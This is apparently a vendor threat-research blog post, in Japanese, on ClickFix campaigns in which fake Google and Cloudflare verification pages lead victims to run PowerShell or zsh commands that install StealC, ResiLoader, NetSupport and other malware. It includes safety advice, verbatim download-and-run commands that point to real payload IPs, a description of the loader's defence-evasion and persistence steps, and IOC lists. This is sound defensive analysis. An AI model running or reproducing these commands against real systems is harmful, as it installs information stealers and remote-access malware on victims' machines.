偽のGoogleおよびCloudflareの認証ページが、複数のマルウェアファミリーを拡散させている

| 2026年7月2日
偽のGoogleおよびCloudflareの認証ページが、複数のマルウェアファミリーを拡散させている

ユーザーを騙して自ら悪意のあるコマンドを実行させる「ClickFix」攻撃は、進化を続けています。この最新のキャンペーンでは、偽のGoogleおよびCloudflareの認証ページを利用して、被害者に自身のデバイスを感染させるよう仕向けています。

たった一つのミスで、パスワードやその他の機密データを盗み出したり、攻撃者にコンピュータへのリモートアクセス権を与えたり、あるいはシステムを完全に乗っ取る可能性のある追加のマルウェアをダウンロードさせたりするマルウェアがインストールされてしまう恐れがあります。

我々は、HijackLoader、StealC、Remus、Amatera Stealer、CastleLoader、NetSupport、およびRustベースのステラーなど、マルウェアを配信するために同一のインフラストラクチャを利用している複数のキャンペーンを突き止めました。

ある感染経路では、正規のメッセージングアプリ「Franz」のトロイの木馬化されたバージョンが、これまで報告されていなかった「ResiLoader」と呼ばれるローダーをダウンロードし、これがセキュリティソフトウェアを無効化した上で、情報窃取型マルウェア「StealC」を展開する。

技術的な詳細に入る前に、次の被害者にならないための方法をご紹介します。

安全に過ごすには

ClickFixによる攻撃は、ユーザーに自らコマンドを実行させることに依存しています。最も安全な対処法は単純です:

  • 信頼できる情報源の指示に従っている場合、かつそのコマンドが何を行うかを正確に理解している場合を除き、ウェブサイトからコマンドをコピーして実行してはいけません
  • 認証ページには注意してください。Google、Cloudflare、Microsoft などの正規のサービスが、あなたが人間であることを証明したり、問題を解決したりWindows に PowerShell コマンドを貼り付けるよう求めることは決してありません。
  • 焦って行動しないようにしましょう。偽の認証ページでは、カウントダウンタイマーや訪問者カウンター、警告文などを用いて、利用者に急いで行動するよう圧力をかけることがよくあります。
  • セキュリティソフトウェアは常に最新の状態に保ってください。リアルタイム保護機能やWeb保護機能を利用すれば、悪意のあるWebサイトにアクセスする前に、そのアクセスをブロックすることができます。
  • 予期しない技術的な指示には注意してください。ウェブサイト上でPowerShell、コマンドプロンプト、またはターミナルを開くよう指示された場合は、一旦停止し、その企業の公式サポート窓口を通じてその指示の正当性を確認してください。

プロのヒント:Malwarebytes Browser Guard は、ウェブサイトがクリップボードにコンテンツをコピーしようとした際に警告を表示します。これは、ClickFixページがよく使う手口です。

テクニカル分析

本調査で分析対象としたキャンペーンは、少なくとも2025年後半から活動を続けており、さまざまな偽のGoogleおよびCloudflareページを利用してマルウェアを配信している。誘引手法は異なるものの、インフラや感染経路の多くは共通しており、攻撃者は新たな配信手法やペイロードを絶えず試している。

ルアーは違っても、目標は一つ

こうしたキャンペーンのほとんどには、いくつかの共通点があります:

  • フォルダの使い方 C:\ProgramData\Zooms 後期の段階を抽出する
  • 同様のパターンに従う PowerShell ClickFix コマンド
  • Cloudflare R2 バケットを使用したペイロードの配信
  • ASN Dedik Services Limited がホストする IP アドレス
  • 特定のフレーズのみを含むHTMLレスポンス "hehe"

これらの指標は時間の経過とともに変化しているため、すべての感染チェーンに見られるわけではありません。攻撃キャンペーンは進化を続けており、新しいペイロードや配信手法が定期的に導入されています。例えば、バケットの代わりにIPアドレスが直接ペイロードの配布に使用されるケースもあります。

ユーザーがコピーした最後のコマンドは、通常、次のようなパターンになります: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

分析対象の事例において、ポート番号やパスが常に存在するとは限りません。ポート番号はランダムですが、使用されているものには、6600、9900、5506、7895、7493、149、8442などがあります。 

これらのコマンドを実行するために、主にGoogleや Cloudflareに関連するいくつかのClickFix関連テンプレートが使用されています。また、場合によっては、PowerShellコマンドがIClickFixフレームワークを通じて配布されていたことも確認されました。 

これらのClickFixキャンペーンは、以下の経路を通じて拡散されていることを確認しました:

  • 有効期限が切れたと思われる古いウェブサイトであり、犯人らによって買い戻されたもの。  
  • CloudFlare Pages (.pages.dev ドメイン)。 
  • 改ざんされたウェブサイト。 
  • QRコードやWebファイルへのアクセスなどに関連する偽のサービス。 

Google ClickFixの誘い文句 

こうしたキャンペーンの仕掛け人たちは、Google関連のさまざまなHTMLページやキットを利用しています。 

あるフィッシング手口は、GoogleのreCAPTCHA認証を装っています。これらのページは、偽のコンテンツや悪意のあるコンテンツを表示するランダムなURL上にホストされています。これらのドメインは、多くの場合、以前から登録されていたものが最近になって新しいIPアドレスに解決されるようになったものであり、このキャンペーンのために流用されたことを示唆しています。

これらのページの中には、「zoneid」、「cost」、「device」、「country」、「clickid」といったURLパラメータが含まれているものがあります。例えば、次のようなものです: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
「手動による確認が必要です」ClickFixページ
「手動による確認が必要です」ClickFixページ
「手動による確認が必要です」ClickFixページ

この場合、ClickFix に関連する関数は、クラス内に実装されています。 CustomCaptcha. このコマンドは、難読化されておらず、そのままの形で記載されています。 

「CustomCaptcha」クラスの「StartVerification」メソッド
「CustomCaptcha」クラスの「StartVerification」メソッド

もう1つの配信方法として、以下でホストされているCloudflare Pagesを利用する方法があります。 .pages.dev サブドメイン。

「人間であることを確認してください」ClickFixページ
「人間であることを確認してください」ClickFixページ

このケースでは、HTMLページは、いくつかの変数を宣言し、それらをXOR演算することで難読化されています。難読化を解除したコードは、 SECURITY GATEWAY そして、これは以下の関数で構成されています GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController、そして PanelController.  

このコードにより、攻撃者はリモートまたはローカルのいずれかの方法でコマンドを取得することができます。このサンプルでは、悪意のある PowerShell コマンドがローカルに保存されています。

「SECURITY GATEWAY」のコード内で宣言されているPowerShellコマンド
「SECURITY GATEWAY」のコード内で宣言されているPowerShellコマンド

また、これらのドメインの一部は過去に別のデコイを配布していたことも判明しました。このケースでは、不正なGoogleログインに関連するものでした。このClickFixのデコイは、ユーザーに対し、悪意のあるコマンドをコピーして貼り付け、自分のデバイスをプライマリとして設定するよう求めています。 

「信頼済みトークンを使用した新規サインイン」ClickFixページ
「信頼済みトークンを使用した新規サインイン」ClickFixページ

このClickFixキットの興味深い点は、コメントにもあるように「承認ゲート」が搭載されていること、そして攻撃者がパネルから、ユーザーに実行させるコマンドを手動で選択しなければならないという点です。 

キットおよび「承認ゲート」に関するコメント
キットおよび「承認ゲート」に関するコメント
キットおよび「承認ゲート」に関するコメント

最近のキャンペーンでは、Google Meetに関連する「ClickFix」という手口が確認されています。この手口では、音声の問題を解決するために悪意のあるコマンドをコピーして貼り付けるよう要求されます。 

「オーディオドライバーの修正」というClickFixの罠
「オーディオドライバーの修正」というGoogle Meet ClickFixの罠

分析対象の症例において、エンドポイントは /api/driver-clipboard.php 次のような悪意のあるコマンドを返した:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

その他のルアー 

このキャンペーンの背後にいる攻撃者は、主にGoogleに関連するさまざまなキットやルアーを使用しています。しかし、同じインフラストラクチャに関連するコマンドを模倣した他のルアーも検出されています。 

これらの攻撃キャンペーンの背後にいる攻撃者は、CloudFlare ClickFixを装った手口に関連するさまざまなテンプレートを用いて、複数のウェブサイトを乗っ取っている。 

「人間であることを確認してください」ClickFixのページ
「人間であることを確認してください」ClickFixのページ
「人間であることを確認してください」ClickFixのページ

CloudFlare ページで使用されているテンプレートをいくつか検出しました。分析対象のケースでは、このコマンドは平文で記載されているか、場合によっては難読化されています。 

CloudFlare ClickFixのHTMLページの一部 
CloudFlare ClickFixのHTMLページの一部 
CloudFlare ClickFixのHTMLページの一部 
CloudFlare ClickFixのHTMLページの一部 

また、特定の目的で作成された偽のサービスサイトもいくつか検出されました。例えば、「My QR Generator」というサイトでは、難読化されたQRコードが表示され、ユーザーがロボットではないことを確認するためにPowerShellコマンドを実行するよう求められます。 

「QRコード」ClickFixの誘導ページ 
「QRコード」ClickFixの誘導ページ 

この場合、コマンドはBase64でエンコードされています: 

デコードされたPowerShellコマンド
デコードされたPowerShellコマンド

PowerShell ダウンローダー 

ユーザーが実行した「ClickFix」コマンドは、スクリプトをデコードし、それを「Temp」フォルダに、名前を tmp{4 char}.tmp.ps1

このスクリプトにはいくつかのバリエーションが確認されていますが、最近のバージョンでは次のような動作をします: 

  • フォルダを作成する C:\ProgramData\Zooms
  • CloudFlareのバケットから次のステージをダウンロードし、以下の場所に保存してください C:\ProgramData\Zooms. スクリプトのいくつかのバリエーションでは、次の段階がIPアドレスから直接ダウンロードされます。 
  • 侵害されたマシンの情報を以下の宛先に送信してください http://{IP}/dl-callback. この台本のいくつかのバージョンでは、この部分は含まれていない。 
PowerShellスクリプトの削除
PowerShellスクリプトの削除

これらの攻撃キャンペーンの背後にいる攻撃者は、多種多様なペイロードを多数使用しています。これらのキャンペーンでは、多種多様なペイロードが配信されています。以下の表は、ダウンロードされたファイル名の一部と、それらがインストールするマルウェアをまとめたものです。分析対象となった多くの事例において、最終的なペイロードはDLLハイジャッキングを介して配布されていました。これについては、後述するStealCステラーの事例でも確認できます。 

ファイルの配布 マルウェアの拡散 
libEGL.zip, Safe-1.zip トロイの木馬化されたElectronアプリ、ResiLoader、およびStealC 
Test.msi Deno Loader と PowerShell Stealer 
arworks.zip アマテラ・スティーラー 
water-night.zip レムス・スティラー 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe ラスト・スティーラー 

我々は、最終的にStealCを配布する「ResiLoader」と呼ばれる新しいローダーを分析しました。また、最新のキャンペーンにおいて、脅威アクターがDenoを使用して、最終的にPowerShellで開発された情報窃取ツールを配布し始めていることも確認しました。この感染チェーンの分析については、今後のブログ記事で取り上げる可能性があります。 

トロイの木馬化されたElectronアプリがResiLoaderをダウンロードする

この場合、ZIPファイルは次の場所からダウンロードされました: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

抽出後、以下の場所に: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

このZIPファイルには、「Franz」というオープンソースのメッセージングアプリのトロイの木馬化されたバージョンが含まれています: 

ResiLoaderのダウンロードに使用された、トロイの木馬化された「Franz」アプリ
ResiLoaderのダウンロードに使用された、トロイの木馬化された「Franz」アプリ

この悪意のあるコードは、 index.js ファイル: 

バックドアが仕込まれたアプリ内の難読化されたコード
バックドアが仕込まれたアプリ内の難読化されたコード

このダウンローダーは、以下の操作を実行します: 

  • 関数を使って文字列をデコードする HC()
  • 閲覧数 readme.txt, は、次のような形式のキャンペーンキーを期待しています AAAA-BBBB, をトークンの配列として返します。この場合、名前は resiloader-1 そこで、ダウンロードしたDLLを「ResiLoader」と呼ぶことにします。 
  • 閲覧数 %APPDATA%\setup.txt; 指定がない場合は、8文字のランダムな文字列を生成し、それを保存します。  
  • 以下を使用して永続化を実現する app.setLoginItemSettings
  • にPOSTリクエストを送信します https[:]//completstep[.]com/api/ そして、JSONレスポンスを詳細に説明する
    • もし task.e が存在する場合、それを実行する eval(task.e); これにより、攻撃者は任意のJavaScriptコードを実行できてしまいます。 
    • もし task.files が存在する場合は、作成する %TEMP%\<Date.now()>\, 各ファイルをデコードして書き出す。ファイル名の末尾が .exe, 以下の方法で実行してください child_process.exec

今回のケースでは、以下のDLLのハイジャックを行うZIPファイルを受け取りました。 ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

その後、実行ファイルは以下のコマンドで実行されました: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

について msys-crypto-3.dll 難読化された .NET NativeAOT loader これは、BYODの手法を用いてAV/EDRの検知を回避し、システムへの永続性を確保した上で、最終的に情報窃取型マルウェア「StealC」をロードするものです。このローダーに関する具体的な帰属情報は確認できなかったため、以前のサンプルに含まれていた文字列に基づき、「ResiLoader」と命名しました。 readme.txt

このローダーには、平文の文字列と暗号化された文字列がいくつか含まれています。これらの文字列を復号化することで、ResiLoaderの機能の全容を把握することが可能になります。 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

このローダーは、以下の操作を実行します: 

  • マーカーを読み取り、2つのペイロードを含むエンコードされたブロブを抽出する AtLorenBase およびエンコードされたブロブの長さ。その後、ブロブをデコードし、ドライバの暗号を復号します pcdhost.sys (OPSWAT  
    AppRemover Driver)およびStealCペイロードを、独自の復号アルゴリズムを使用して復号する。  
  • 削除されたドライバーを使用して、EDR/AVに関連する140以上のプロセスを終了させます。 
  • 以下の方法でUACのバイパスを実行する ICMLuaUtil 拡張COMインターフェース。 
  • フォルダを作成する C:\ProgramData\Google Update、自身を複製し、RUN レジストリキーを使用して永続化を実現する 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

最終的に、ローダーはそのプロセスのプロセスホローイングを実行する ServiceModelReg.exe StealC ステラーを実行するには。 

IOC 

ハッシュ 

72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: レムス 

206ce339febca0c3bcc850f42595fc63: アマテラ・スティーラー 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: ラスト・スティーラー 

ドメイン 

ClickFixのページを配布する: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

ペイロードの配信に使用されるCloudFlareのバケット: 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: ペイロードの分散 

bigflaredefence[.]com: ペイロードの分散 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: アマテラ・スティーラー C2 

completstep[.]com: ローダー C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IPアドレス 

ペイロードの配信に使用されるIPアドレス: 

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

謝辞  

著者について

ガブリエレは、マルウェアとの戦いをこよなく愛するマルウェア研究エンジニアです。仕事以外の時間には、自然や芸術、動物と触れ合うことを楽しんでいます。